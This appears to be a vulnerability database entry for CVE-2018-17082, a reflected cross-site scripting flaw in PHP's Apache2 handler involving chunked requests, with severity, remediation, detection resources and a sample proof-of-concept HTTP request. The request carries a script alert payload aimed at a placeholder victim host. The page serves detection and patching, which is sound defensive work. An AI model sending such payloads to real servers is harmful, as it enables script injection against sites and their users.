🔙 목록으로 돌아가기

CVE-2018-17082: Apache2 - Transfer-Encoding Chunked XSS

TitleApache2 - Transfer-Encoding Chunked XSS
AuthorDhiyaneshDK
SeverityMedium
ImpactAttackers can execute malicious scripts in the context of the affected server, leading to potential session hijacking or data theft.
RemediationUpdate to PHP 5.6.38, 7.0.32, 7.1.22, or 7.2.10 or later versions.
CVSS Score6.1
EPSS Score0.081
CVE IDCVE-2018-17082
CWE IDCWE-79
Tags cve cve2018 php apache xss chunked

🔍 Vulnerability Description

Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Content-Length: 39
Accept-Encoding: gzip

<script>alert(document.domain)</script>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-17082.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-17082.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A